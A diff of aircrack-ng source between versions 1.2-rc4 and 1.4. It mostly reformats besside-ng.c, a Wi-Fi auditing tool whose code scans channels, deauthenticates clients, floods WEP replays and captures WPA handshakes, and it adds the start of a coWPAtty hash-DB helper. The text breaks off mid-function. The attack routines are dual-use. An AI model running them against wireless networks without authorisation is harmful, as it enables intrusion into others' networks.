+	if (n->n_crypto != CRYPTO_WEP)
+	{
 		ptw_free(n);
 		return;
 	}
 
-	if (len < (4 + 4))
-		return;
+	if (len < (4 + 4)) return;
 
-	if (n->n_astate == ASTATE_DONE)
-		return;
+	if (n->n_astate == ASTATE_DONE) return;
 
 	get_replayable(n, wh, p, len);
 
 	check_replay(n, wh, len);
 
-	if (ptw_add(n, wh, p, len)) {
-		if (n->n_have_beacon && !n->n_beacon_wrote) {
+	if (ptw_add(n, wh, p, len))
+	{
+		if (n->n_have_beacon && !n->n_beacon_wrote)
+		{
 			packet_write_pcap(_state.s_wepfd, &n->n_beacon);
 
 			n->n_beacon_wrote = 1;
@@ -2514,20 +2463,18 @@
 	}
 }
 
-static struct network *network_update(struct ieee80211_frame* wh)
+static struct network * network_update(struct ieee80211_frame * wh)
 {
-	struct network *n;
-	struct client  *c = NULL;
-	unsigned char *bssid;
+	struct network * n;
+	struct client * c = NULL;
+	unsigned char * bssid;
 	int fromnet;
 
 	bssid = get_bssid(wh);
-	if (!bssid)
-		return NULL;
+	if (!bssid) return NULL;
 
 	n = network_get(wh);
-	if (!n)
-		n = network_add(wh);
+	if (!n) n = network_add(wh);
 
 	assert(n);
 
@@ -2535,62 +2482,68 @@
 		n->n_dbm = _state.s_ri->ri_power;
 
 	c = client_update(n, wh);
-	if (c && !fromnet)
-		c->c_dbm = _state.s_ri->ri_power;
+	if (c && !fromnet) c->c_dbm = _state.s_ri->ri_power;
 
 	return n;
 }
 
 static void wifi_read(void)
 {
-	struct state *s = &_state;
+	struct state * s = &_state;
 	unsigned char buf[2048];
 	int rd;
 	struct rx_info ri;
-    struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
-	struct network *n;
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
+	struct network * n;
+
+	memset(buf, 0, sizeof(buf));
 
 	rd = wi_read(s->s_wi, buf, sizeof(buf), &ri);
-	if (rd <= 0)
-		err(1, "wi_read()");
+	if (rd < 0) err(1, "wi_read()");
+
+	if (rd < sizeof(struct ieee80211_frame))
+	{
+		return;
+	}
 
 	s->s_ri = &ri;
 
 	n = network_update(wh);
 
-	switch (wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) {
-	case IEEE80211_FC0_TYPE_MGT:
-		wifi_mgt(n, wh, rd);
-		break;
+	switch (wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK)
+	{
+		case IEEE80211_FC0_TYPE_MGT:
+			wifi_mgt(n, wh, rd);
+			break;
 
-	case IEEE80211_FC0_TYPE_CTL:
-		wifi_ctl(wh, rd);
-		break;
+		case IEEE80211_FC0_TYPE_CTL:
+			wifi_ctl(wh, rd);
+			break;
 
-	case IEEE80211_FC0_TYPE_DATA:
-		wifi_data(n, wh, rd);
-		break;
+		case IEEE80211_FC0_TYPE_DATA:
+			wifi_data(n, wh, rd);
+			break;
 
-	default:
-		printf("Unknown type %d\n", wh->i_fc[0]);
+		default:
+			printf("Unknown type %d\n", wh->i_fc[0]);
 	}
 }
 
-static const char *astate2str(int astate)
+static const char * astate2str(int astate)
 {
 	static char num[16];
-	static char *states[] = {
-		"NONE",
-		"PING",
-		"READY",
-		"DEAUTH",
-		"WPA_CRACK",
-		"GET REPLAY",
-		"FLOOD",
-		"NONE",
-		"DONE" };
-
-	if (astate >= (int) (sizeof(states) / sizeof(*states))) {
+	static char * states[] = {"NONE",
+							  "PING",
+							  "READY",
+							  "DEAUTH",
+							  "WPA_CRACK",
+							  "GET REPLAY",
+							  "FLOOD",
+							  "NONE",
+							  "DONE"};
+
+	if (astate >= (int) (sizeof(states) / sizeof(*states)))
+	{
 		snprintf(num, sizeof(num), "%d", astate);
 		return num;
 	}
@@ -2598,15 +2551,13 @@
 	return states[astate];
 }
 
-static const char *wstate2str(int astate)
+static const char * wstate2str(int astate)
 {
 	static char num[16];
-	static char *states[] = {
-		"NONE",
-		"AUTH",
-		"ASSOC" };
+	static char * states[] = {"NONE", "AUTH", "ASSOC"};
 
-	if (astate >= (int) (sizeof(states) / sizeof(*states))) {
+	if (astate >= (int) (sizeof(states) / sizeof(*states)))
+	{
 		snprintf(num, sizeof(num), "%d", astate);
 		return num;
 	}
@@ -2616,88 +2567,91 @@
 
 static void print_status(int advance)
 {
-	static char status[]  = "|/-|/-\\";
-	static char *statusp = status;
-	struct network *n = _state.s_curnet;
-	struct client *c;
+	static char status[] = "|/-|/-\\";
+	static char * statusp = status;
+	struct network * n = _state.s_curnet;
+	struct client * c;
 	int ccount = 0;
 
 	time_printf(V_NORMAL, "%c", *statusp);
 
-	switch (_state.s_state) {
-	case STATE_SCAN:
-		printf(" Scanning chan %.2d", _state.s_chan);
-		break;
-
-	case STATE_ATTACK:
-		printf(" Attacking [%s] %s - %s",
-		       n->n_ssid,
-		       n->n_crypto == CRYPTO_WPA ? "WPA" : "WEP",
-		       astate2str(n->n_astate));
-
-		if (need_connect(n) && n->n_wstate != WSTATE_ASSOC)
-			printf(" [conn: %s]", wstate2str(n->n_wstate));
-
-		switch (n->n_astate) {
-		case ASTATE_WEP_FLOOD:
-			if (n->n_cracker_wep[0].cr_pid
-                            || n->n_cracker_wep[1].cr_pid)
-				printf(" cracking");
-
-			speed_calculate(&n->n_flood_in);
-			speed_calculate(&n->n_flood_out);
-
-			printf(" - %d IVs rate %d [%d PPS out] len %d",
-			       n->n_data_count,
-			       n->n_flood_in.s_speed,
-			       n->n_flood_out.s_speed,
-			       (int) (n->n_replay_len
-			       	       - sizeof(struct ieee80211_frame) - 4 - 4)
-			       );
+	switch (_state.s_state)
+	{
+		case STATE_SCAN:
+			printf(" Scanning chan %.2d", _state.s_chan);
 			break;
 
-		case ASTATE_DEAUTH:
-			c = n->n_clients.c_next;
-			while (c) {
-				ccount++;
-
-				c = c->c_next;
+		case STATE_ATTACK:
+			printf(" Attacking [%s] %s - %s",
+				   n->n_ssid,
+				   n->n_crypto == CRYPTO_WPA ? "WPA" : "WEP",
+				   astate2str(n->n_astate));
+
+			if (need_connect(n) && n->n_wstate != WSTATE_ASSOC)
+				printf(" [conn: %s]", wstate2str(n->n_wstate));
+
+			switch (n->n_astate)
+			{
+				case ASTATE_WEP_FLOOD:
+					if (n->n_cracker_wep[0].cr_pid
+						|| n->n_cracker_wep[1].cr_pid)
+						printf(" cracking");
+
+					speed_calculate(&n->n_flood_in);
+					speed_calculate(&n->n_flood_out);
+
+					printf(" - %d IVs rate %u [%u PPS out] len %d",
+						   n->n_data_count,
+						   n->n_flood_in.s_speed,
+						   n->n_flood_out.s_speed,
+						   (int) (n->n_replay_len
+								  - sizeof(struct ieee80211_frame)
+								  - 4
+								  - 4));
+					break;
+
+				case ASTATE_DEAUTH:
+					c = n->n_clients.c_next;
+					while (c)
+					{
+						ccount++;
+
+						c = c->c_next;
+					}
+
+					if (ccount) printf(" (know %d clients)", ccount);
+					break;
 			}
 
-			if (ccount)
-				printf(" (know %d clients)", ccount);
 			break;
-		}
-
-		break;
 	}
 
 	printf("\r");
 	fflush(stdout);
 
-	if (advance)
-		statusp++;
+	if (advance) statusp++;
 
-	if (statusp >= (&status[sizeof(status) - 1]))
-		statusp = status;
+	if (statusp >= (&status[sizeof(status) - 1])) statusp = status;
 }
 
 static void make_progress(void)
 {
-	if (_state.s_state == STATE_SCAN && _state.s_hopcycles > 2) {
+	if (_state.s_state == STATE_SCAN && _state.s_hopcycles > 2)
+	{
 		print_work();
 		attack_next();
 		_state.s_hopcycles = 0;
 	}
 }
 
-static void cracker_check(struct network *n, struct cracker *c)
+static void cracker_check(struct network * n, struct cracker * c)
 {
 	unsigned char buf[1024];
 	int rc;
 
 	rc = read(c->cr_pipe[0], buf, sizeof(buf));
-	if (rc <= 0) {
+	if (rc <= 0)
+	{
 		cracker_kill(c);
 		return;
 	}
@@ -2719,79 +2673,74 @@
 	attack_continue(n);
 }
 
-static int add_cracker_fds(fd_set *fds, int max)
+static int add_cracker_fds(fd_set * fds, int max)
 {
-	struct network *n;
+	struct network * n;
 	int i;
 
-	if (_state.s_state != STATE_ATTACK)
-		return max;
+	if (_state.s_state != STATE_ATTACK) return max;
 
 	n = _state.s_curnet;
 
-	for (i = 0; i < 2; i++) {
-		struct cracker *c = &n->n_cracker_wep[i];
+	for (i = 0; i < 2; i++)
+	{
+		struct cracker * c = &n->n_cracker_wep[i];
 
-		if (c->cr_pipe[0]) {
+		if (c->cr_pipe[0])
+		{
 			FD_SET(c->cr_pipe[0], fds);
 
-			if (c->cr_pipe[0] > max)
-				max = c->cr_pipe[0];
+			if (c->cr_pipe[0] > max) max = c->cr_pipe[0];
 		}
 	}
 
 	return max;
 }
 
-static void check_cracker_fds(fd_set *fds)
+static void check_cracker_fds(fd_set * fds)
 {
-	struct network *n;
-	struct cracker *c;
+	struct network * n;
+	struct cracker * c;
 	int i;
 
-	if (_state.s_state != STATE_ATTACK)
-		return;
+	if (_state.s_state != STATE_ATTACK) return;
 
 	n = _state.s_curnet;
 
-	for (i = 0; i < 2; i++) {
+	for (i = 0; i < 2; i++)
+	{
 		c = &n->n_cracker_wep[i];
 
-		if (c->cr_pipe[0] && FD_ISSET(c->cr_pipe[0], fds))
-			cracker_check(n, c);
+		if (c->cr_pipe[0] && FD_ISSET(c->cr_pipe[0], fds)) cracker_check(n, c);
 	}
 }
 
-static char *strip_spaces(char *p)
+static char * strip_spaces(char * p)
 {
-	char *x;
+	char * x;
 
-	while (*p == ' ')
-		p++;
+	while (*p == ' ') p++;
 
 	x = p + strlen(p) - 1;
-	while (x >= p && *x == ' ')
-		*x-- = 0;
+	while (x >= p && *x == ' ') *x-- = 0;
 
 	return p;
 }
 
-static int parse_hex(unsigned char *out, char *in, int l)
+static int parse_hex(unsigned char * out, char * in, int l)
 {
 	int len = 0;
 
-	while (in) {
-		char *p = strchr(in, ':');
+	while (in)
+	{
+		char * p = strchr(in, ':');
 		int x;
 
-		if (--l < 0)
-			err(1, "parse_hex len");
+		if (--l < 0) err(1, "parse_hex len");
 
-		if (p)
-			*p++ = 0;
+		if (p) *p++ = 0;
 
-		if (sscanf(in, "%x", &x) != 1)
-			errx(1, "parse_hex()");
+		if (sscanf(in, "%x", &x) != 1) errx(1, "parse_hex()");
 
 		*out++ = (unsigned char) x;
 		len++;
@@ -2802,79 +2751,85 @@
 	return len;
 }
 
-static void resume_network(char *buf)
+static void resume_network(char * buf)
 {
 	char *p = buf, *p2;
 	int state = 0;
-	struct network *n;
+	struct network * n;
 
-	if (buf[0] == '#')
-		return;
+	if (buf[0] == '#') return;
 
 	n = network_new();
 
-	while (1) {
+	while (1)
+	{
 		p2 = strchr(p, '|');
 
-		if (!p2) {
+		if (!p2)
+		{
 			p2 = strchr(p, '\n');
-			if (!p2)
-				break;
+			if (!p2) break;
 		}
 
 		*p2++ = 0;
 
 		p = strip_spaces(p);
 
-		switch (state) {
-		/* ssid */
-		case 0:
-			strncpy(n->n_ssid, p, sizeof(n->n_ssid));
-			(n->n_ssid)[sizeof(n->n_ssid) -1] = '\0';
-			break;
-
-		/* key */
-		case 1:
-			if (strstr(p, "handshake")) {
-				n->n_crypto = CRYPTO_WPA;
-				n->n_client_handshake = (void*) 0xbad;
-			} else if (strchr(p, ':')) {
-				n->n_crypto = CRYPTO_WEP;
-
-				n->n_key_len = parse_hex(n->n_key, p,
-							 sizeof(n->n_key));
-			}
+		switch (state)
+		{
+			/* ssid */
+			case 0:
+				strncpy(n->n_ssid, p, sizeof(n->n_ssid));
+				(n->n_ssid)[sizeof(n->n_ssid) - 1] = '\0';
+				break;
 
-			if (n->n_crypto != CRYPTO_NONE) {
-				n->n_have_beacon = 1;
-				n->n_astate      = ASTATE_DONE;
-			}
-			break;
+			/* key */
+			case 1:
+				if (strstr(p, "handshake"))
+				{
+					n->n_crypto = CRYPTO_WPA;
+					n->n_client_handshake = (void *) 0xbad;
+				}
+				else if (strchr(p, ':'))
+				{
+					n->n_crypto = CRYPTO_WEP;
+
+					n->n_key_len = parse_hex(n->n_key, p, sizeof(n->n_key));
+				}
+
+				if (n->n_crypto != CRYPTO_NONE)
+				{
+					n->n_have_beacon = 1;
+					n->n_astate = ASTATE_DONE;
+				}
+				break;
 
-		/* bssid */
-		case 2:
-			parse_hex(n->n_bssid, p, sizeof(n->n_bssid));
-			break;
+			/* bssid */
+			case 2:
+				parse_hex(n->n_bssid, p, sizeof(n->n_bssid));
+				break;
 
-		case 3:
-			if (*p) {
-				struct client *c = xmalloc(sizeof(*c));
+			case 3:
+				if (*p)
+				{
+					struct client * c = xmalloc(sizeof(*c));
 
-				memset(c, 0, sizeof(*c));
+					memset(c, 0, sizeof(*c));
 
-				parse_hex(c->c_mac, p, sizeof(c->c_mac));
+					parse_hex(c->c_mac, p, sizeof(c->c_mac));
 
-				n->n_client_mac = c;
-				n->n_got_mac    = 1;
-			}
-			break;
+					n->n_client_mac = c;
+					n->n_got_mac = 1;
+				}
+				break;
 		}
 
 		state++;
 		p = p2;
 	}
 
-	if (n->n_astate != ASTATE_DONE) {
+	if (n->n_astate != ASTATE_DONE)
+	{
 		free(n);
 		return;
 	}
@@ -2886,42 +2841,39 @@
 
 static void resume(void)
 {
-	FILE *f;
+	FILE * f;
 	char buf[4096];
 
 	f = fopen(_conf.cf_log, "r");
-	if (!f)
-		return;
+	if (!f) return;
 
 	time_printf(V_NORMAL, "Resuming from %s\n", _conf.cf_log);
 
-	while (fgets(buf, sizeof(buf), f))
-		resume_network(buf);
+	while (fgets(buf, sizeof(buf), f)) resume_network(buf);
 
 	fclose(f);
 }
 
 static void cleanup(int UNUSED(x))
 {
-	struct state *s = &_state;
-	struct network *n;
+	struct state * s = &_state;
+	struct network * n;
 
 	printf("\nDying...\n");
 
 	wi_close(s->s_wi);
 
-	if (_state.s_state == STATE_ATTACK) {
+	if (_state.s_state == STATE_ATTACK)
+	{
 		n = _state.s_curnet;
 		assert(n);
 		cracker_kill(&n->n_cracker_wep[0]);
 		cracker_kill(&n->n_cracker_wep[1]);
 	}
 
-	if (_state.s_wpafd)
-		close(_state.s_wpafd);
+	if (_state.s_wpafd) close(_state.s_wpafd);
 
-	if (_state.s_wepfd)
-		close(_state.s_wepfd);
+	if (_state.s_wepfd) close(_state.s_wepfd);
 
 	print_work();
 
@@ -2930,22 +2882,20 @@
 
 static void pwn(void)
 {
-	struct state *s = &_state;
+	struct state * s = &_state;
 	struct timeval tv;
 	fd_set fds;
 	int wifd, max, rc;
 
-	if (!(s->s_wi = wi_open(_conf.cf_ifname)))
-		err(1, "wi_open()");
+	if (!(s->s_wi = wi_open(_conf.cf_ifname))) err(1, "wi_open()");
 
-	if (wi_get_mac(s->s_wi, _state.s_mac) == -1)
-		err(1, "wi_get_mac()");
+	if (wi_get_mac(s->s_wi, _state.s_mac) == -1) err(1, "wi_get_mac()");
 
 	gettimeofday(&_state.s_now, NULL);
 	memcpy(&_state.s_start, &_state.s_now, sizeof(_state.s_start));
 
 	wifd = wi_fd(s->s_wi);
-	max  = wifd;
+	max = wifd;
 
 	time_printf(V_VERBOSE, "mac %s\n", mac2str(_state.s_mac));
 	time_printf(V_NORMAL, "Let's ride\n");
@@ -2963,7 +2913,8 @@
 
 	scan_start();
 
-	while (s->s_state != STATE_DONE) {
+	while (s->s_state != STATE_DONE)
+	{
 		timer_next(&tv);
 
 		FD_ZERO(&fds);
@@ -2972,7 +2923,7 @@
 		max = add_cracker_fds(&fds, max);
 
 		if ((rc = select(max + 1, &fds, NULL, NULL, &tv)) == -1
-		    && errno != EINTR)
+			&& errno != EINTR)
 			err(1, "select()");
 
 		gettimeofday(&_state.s_now, NULL);
@@ -2981,8 +2932,7 @@
 
 		print_status(FD_ISSET(wifd, &fds));
 
-		if (FD_ISSET(wifd, &fds))
-			wifi_read();
+		if (FD_ISSET(wifd, &fds)) wifi_read();
 
 		timer_check();
 
@@ -2996,17 +2946,16 @@
 
 static void channel_add(int num)
 {
-	struct channel *c = xmalloc(sizeof(*c));
-	struct channel *pos = _conf.cf_channels.c_next;
+	struct channel * c = xmalloc(sizeof(*c));
+	struct channel * pos = _conf.cf_channels.c_next;
 
-	while (pos->c_next != _conf.cf_channels.c_next)
-		pos = pos->c_next;
+	while (pos->c_next != _conf.cf_channels.c_next) pos = pos->c_next;
 
 	memset(c, 0, sizeof(*c));
 
 	pos->c_next = c;
 
-	c->c_num  = num;
+	c->c_num = num;
 	c->c_next = _conf.cf_channels.c_next;
 }
 
@@ -3016,26 +2965,25 @@
 
 	_conf.cf_channels.c_next = &_conf.cf_channels;
 
-	for (i = 1; i <= 11; i++)
-		channel_add(i);
+	for (i = 1; i <= 11; i++) channel_add(i);
 
 	_state.s_hopchan = _conf.cf_channels.c_next;
 
-	_conf.cf_hopfreq    = 250;
+	_conf.cf_hopfreq = 250;
 	_conf.cf_deauthfreq = 2500;
 	_conf.cf_attackwait = 10;
-	_conf.cf_floodwait  = 60;
-	_conf.cf_to	    = 100;
-	_conf.cf_floodfreq  = 10 * 1000;
-	_conf.cf_crack_int  = 5000;
-	_conf.cf_wpa	    = "wpa.cap";
-	_conf.cf_wep	    = "wep.cap";
-	_conf.cf_log	    = "besside.log";
-	_conf.cf_do_wep     = 1;
-	_conf.cf_do_wpa     = 1;
+	_conf.cf_floodwait = 60;
+	_conf.cf_to = 100;
+	_conf.cf_floodfreq = 10 * 1000;
+	_conf.cf_crack_int = 5000;
+	_conf.cf_wpa = "wpa.cap";
+	_conf.cf_wep = "wep.cap";
+	_conf.cf_log = "besside.log";
+	_conf.cf_do_wep = 1;
+	_conf.cf_do_wpa = 1;
 }
 
-static const char *timer_cb2str(timer_cb cb)
+static const char * timer_cb2str(timer_cb cb)
 {
 	if (cb == hop)
 		return "hop";
@@ -3047,16 +2995,22 @@
 		return "UNKNOWN";
 }
 
-static void print_state_network(struct network *n)
+static void print_state_network(struct network * n)
 {
-	struct client *c = n->n_clients.c_next;
+	struct client * c = n->n_clients.c_next;
 
 	printf("Network: [%s] chan %d bssid %s astate %d dbm %d"
-	       " have_beacon %d crypto %d",
-	       n->n_ssid, n->n_chan, mac2str(n->n_bssid), n->n_astate,
-	       n->n_dbm, n->n_have_beacon, n->n_crypto);
-
-	if (n->n_key_len) {
+		   " have_beacon %d crypto %d",
+		   n->n_ssid,
+		   n->n_chan,
+		   mac2str(n->n_bssid),
+		   n->n_astate,
+		   n->n_dbm,
+		   n->n_have_beacon,
+		   n->n_crypto);
+
+	if (n->n_key_len)
+	{
 		printf(" KEY [");
 		print_hex(n->n_key, n->n_key_len);
 		printf("]");
@@ -3064,9 +3018,12 @@
 
 	printf("\n");
 
-	while (c) {
+	while (c)
+	{
 		printf("\tClient: %s wpa_got %d dbm %d\n",
-		       mac2str(c->c_mac), c->c_wpa_got, c->c_dbm);
+			   mac2str(c->c_mac),
+			   c->c_wpa_got,
+			   c->c_dbm);
 
 		c = c->c_next;
 	}
@@ -3074,56 +3031,63 @@
 
 static void print_state(int UNUSED(x))
 {
-	struct state *s		= &_state;
-	struct network *n	= s->s_curnet;
-	struct channel *c	= s->s_hopchan;
-	struct channel *c2	= c;
-	struct timer *t		= s->s_timers.t_next;
+	struct state * s = &_state;
+	struct network * n = s->s_curnet;
+	struct channel * c = s->s_hopchan;
+	struct channel * c2 = c;
+	struct timer * t = s->s_timers.t_next;
 
 	printf("\n=============== Internal state ============\n");
 	printf("State:\t%d\n", s->s_state);
 
-	if (s->s_state == STATE_ATTACK) {
+	if (s->s_state == STATE_ATTACK)
+	{
 		printf("Current attack network: [%s] %s\n",
-		       n->n_ssid, mac2str(n->n_bssid));
+			   n->n_ssid,
+			   mac2str(n->n_bssid));
 	}
 
 	n = _state.s_networks.n_next;
-	while (n) {
+	while (n)
+	{
 		print_state_network(n);
 		n = n->n_next;
 	}
 
 	printf("Current chan: %d\n", s->s_chan);
-	printf("Hop cycle %d chans:", s->s_hopcycles);
-	do {
+	printf("Hop cycle %u chans:", s->s_hopcycles);
+	do
+	{
 		printf(" %d", c->c_num);
 		c = c->c_next;
 
-		if (c != c2)
-			printf(",");
+		if (c != c2) printf(",");
 
 	} while (c != c2);
 	printf("\n");
 
 	printf(
-		#if !defined( __APPLE_CC__) && !defined(__NetBSD__) && !defined(__OpenBSD__)
+#if !defined(__APPLE_CC__) && !defined(__NetBSD__) && !defined(__OpenBSD__)
 		"Now: %lu.%lu\n",
-		#else
+#else
 		"Now: %lu.%d\n",
-		#endif
-		s->s_now.tv_sec, s->s_now.tv_usec);
-
+#endif
+		s->s_now.tv_sec,
+		s->s_now.tv_usec);
 
-	while (t) {
+	while (t)
+	{
 		printf(
-		       #if !defined( __APPLE_CC__) && !defined(__NetBSD__) && !defined(__OpenBSD__)
-		       "Timer: %lu.%lu %p[%s](%p)\n",
-		       #else
-		       "Timer: %lu.%d %p[%s](%p)\n",
-		       #endif
-		       t->t_tv.tv_sec, t->t_tv.tv_usec, t->t_cb,
-		       timer_cb2str(t->t_cb), t->t_arg);
+#if !defined(__APPLE_CC__) && !defined(__NetBSD__) && !defined(__OpenBSD__)
+			"Timer: %lu.%lu %p[%s](%p)\n",
+#else
+			"Timer: %lu.%d %p[%s](%p)\n",
+#endif
+			t->t_tv.tv_sec,
+			t->t_tv.tv_usec,
+			t->t_cb,
+			timer_cb2str(t->t_cb),
+			t->t_arg);
 
 		t = t->t_next;
 	}
@@ -3133,116 +3097,137 @@
 	printf("===========================================\n");
 }
 
-static void usage(char *prog)
+static void usage(char * prog)
 {
-    char *version_info = getVersion("Besside-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
-        printf("\n"
-                "  %s - (C) 2010 Andrea Bittau\n"
-                "  http://www.aircrack-ng.org\n"
-                "\n"
-                "  Usage: %s [options] <interface>\n"
-                "\n"
-                "  Options:\n"
-                "\n"
-                "       -b <victim mac> : Victim BSSID\n"
+	char * version_info
+		= getVersion("Besside-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
+	printf("\n"
+		   "  %s - (C) 2010 Andrea Bittau\n"
+		   "  https://www.aircrack-ng.org\n"
+		   "\n"
+		   "  Usage: %s [options] <interface>\n"
+		   "\n"
+		   "  Options:\n"
+		   "\n"
+		   "       -b <victim mac> : Victim BSSID\n"
 #ifdef HAVE_PCRE
-                "       -R <victim ap regex> : Victim ESSID regex\n"
+		   "       -R <victim ap regex> : Victim ESSID regex\n"
 #endif
-		"       -s <WPA server> : Upload wpa.cap for cracking\n"
-		"       -c       <chan> : chanlock\n"
-		"       -p       <pps>  : flood rate\n"
-		"       -W              : WPA only\n"
-                "       -v              : verbose, -vv for more, etc.\n"
-                "       -h              : This help screen\n"
-                "\n",
-                version_info,
-		prog);
-    free(version_info);
+		   "       -s <WPA server> : Upload wpa.cap for cracking\n"
+		   "       -c       <chan> : chanlock\n"
+		   "       -p       <pps>  : flood rate\n"
+		   "       -W              : WPA only\n"
+		   "       -v              : verbose, -vv for more, etc.\n"
+		   "       -h              : This help screen\n"
+		   "\n",
+		   version_info,
+		   prog);
+	free(version_info);
 	exit(1);
 }
 
-int main(int argc, char *argv[])
+int main(int argc, char * argv[])
 {
-	int ch;
+	int ch, temp;
 #ifdef HAVE_PCRE
-    const char *pcreerror;
-    int pcreerroffset;
+	const char * pcreerror;
+	int pcreerroffset;
 #endif
 
 	init_conf();
 
-	while ((ch = getopt(argc, argv, "hb:vWs:c:p:R:")) != -1) {
-		switch (ch) {
-		case 's':
-			_conf.cf_wpa_server = optarg;
-			break;
+	while ((ch = getopt(argc, argv, "hb:vWs:c:p:R:")) != -1)
+	{
+		switch (ch)
+		{
+			case 's':
+				_conf.cf_wpa_server = optarg;
+				break;
 
-		case 'W':
-			_conf.cf_do_wep = 0;
-			break;
+			case 'W':
+				_conf.cf_do_wep = 0;
+				break;
 
-		case 'p':
-			_conf.cf_floodfreq = (int) (1.0 / (double) atoi(optarg)
-					      * 1000.0 * 1000.0);
-			break;
+			case 'p':
+				temp = atoi(optarg);
+				if (temp <= 0)
+				{
+					printf("Invalid flood rate value, must be > 0");
+					exit(1);
+				}
+				_conf.cf_floodfreq
+					= (int) (1.0 / (double) temp * 1000.0 * 1000.0);
+				break;
 
-		case 'c':
-			// XXX leak
-			_conf.cf_channels.c_next = &_conf.cf_channels;
-			channel_add(atoi(optarg));
-			_state.s_hopchan = _conf.cf_channels.c_next;
-			break;
+			case 'c':
+				// XXX leak
+				_conf.cf_channels.c_next = &_conf.cf_channels;
+				temp = atoi(optarg);
+				if (temp <= 0)
+				{
+					printf("Invalid channel, must be > 0\n");
+					exit(1);
+				}
+				channel_add(temp);
+				_state.s_hopchan = _conf.cf_channels.c_next;
+				break;
 
-		case 'v':
-			_conf.cf_verb++;
-			break;
+			case 'v':
+				_conf.cf_verb++;
+				break;
 
-		case 'b':
-			_conf.cf_bssid = xmalloc(6);
-			parse_hex(_conf.cf_bssid, optarg, 6);
-			break;
+			case 'b':
+				_conf.cf_bssid = xmalloc(6);
+				parse_hex(_conf.cf_bssid, optarg, 6);
+				break;
 
 #ifdef HAVE_PCRE
-        case 'R':
-            if (_conf.cf_essid_regex != NULL) {
-                printf("Error: ESSID regular expression already given. Aborting\n");
-                exit(1);
-            }
-
-            _conf.cf_essid_regex = pcre_compile(optarg, 0, &pcreerror, &pcreerroffset, NULL);
-
-            if (_conf.cf_essid_regex == NULL) {
-                printf("Error: regular expression compilation failed at offset %d: %s; aborting\n", pcreerroffset, pcreerror);
-                exit(1);
-            }
-            break;
+			case 'R':
+				if (_conf.cf_essid_regex != NULL)
+				{
+					printf("Error: ESSID regular expression already given. "
+						   "Aborting\n");
+					exit(1);
+				}
+
+				_conf.cf_essid_regex
+					= pcre_compile(optarg, 0, &pcreerror, &pcreerroffset, NULL);
+
+				if (_conf.cf_essid_regex == NULL)
+				{
+					printf("Error: regular expression compilation failed at "
+						   "offset %d: %s; aborting\n",
+						   pcreerroffset,
+						   pcreerror);
+					exit(1);
+				}
+				break;
 #endif
 
-		default:
-		case 'h':
-			usage(argv[0]);
-			break;
+			default:
+			case 'h':
+				usage(argv[0]);
+				break;
 		}
 	}
 
-	if (optind <= argc)
-		_conf.cf_ifname = argv[optind];
+	if (optind <= argc) _conf.cf_ifname = argv[optind];
 
-	if (!_conf.cf_ifname) {
+	if (!_conf.cf_ifname)
+	{
 		printf("Gimme an interface name dude\n");
 		usage(argv[0]);
 	}
 
 	signal(SIGINT, cleanup);
 	signal(SIGKILL, cleanup);
-	signal(SIGUSR1,  print_state);
+	signal(SIGUSR1, print_state);
 	signal(SIGCHLD, do_wait);
 
 	pwn();
 
 #ifdef HAVE_PCRE
-    if(_conf.cf_essid_regex)
-        pcre_free(_conf.cf_essid_regex);
+	if (_conf.cf_essid_regex) pcre_free(_conf.cf_essid_regex);
 #endif
 
 	exit(0);

aircrack-ng-1.2-rc4.tar.gz/src/buddy-ng.c -> aircrack-ng-1.4.tar.gz/src/buddy-ng.c Changed

aircrack-ng-1.4.tar.gz/src/cowpatty.c Added

@@ -0,0 +1,216 @@
+/*
+ *  coWPAtty hash DB file helper functions
+ *
+ *  Copyright (C) 2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+#include "cowpatty.h"
+
+void close_free_cowpatty_hashdb(struct cowpatty_file * cf)
+{
+	if (cf != NULL)
+	{
+		if (cf->fp)
+		{
+			fclose(cf->fp);
+		}
+		free(cf);
+	}
+}
+
+struct cowpatty_file * open_cowpatty_hashdb(const char * filename,
+											const char * mode)
+{
+	struct hashdb_head filehead;
+
+	// Initialize structure
+	struct cowpatty_file * ret
+		= (struct cowpatty_file *) malloc(sizeof(struct cowpatty_file));
+	memset(ret->ssid, 0, sizeof(ret->ssid));
+	memset(ret->error, 0, sizeof(ret->error));
+	ret->fp = NULL;
+
+	if (filename == NULL || filename[0] == 0)
+	{
+		strcpy(ret->error, "No filename specified");
+		return ret;
+	}
+
+	if (mode == NULL || strncmp(mode, "r", 1) == 0)
+	{
+		if (strcmp(filename, "-") == 0)
+		{
+			ret->fp = stdin;
+		}
+		else
+		{
+			ret->fp = fopen(filename, "r");
+			if (ret->fp == NULL)
+			{
+				snprintf(ret->error,
+						 sizeof(ret->error),
+						 "File <%s> cannot be opened",
+						 filename);
+				return ret;
+			}
+		}
+
+		// Check headers
+		if (fread(&filehead, sizeof(struct hashdb_head), 1, ret->fp) != 1)
+		{
+			strcpy(ret->error, "Failed reading hash DB header");
+			fclose(ret->fp);
+			ret->fp = NULL;
+			return ret;
+		}
+
+		if (filehead.magic != GENPMKMAGIC)
+		{ // Verify header magic
+			strcpy(ret->error, "Header magic doesn't match");
+			fclose(ret->fp);
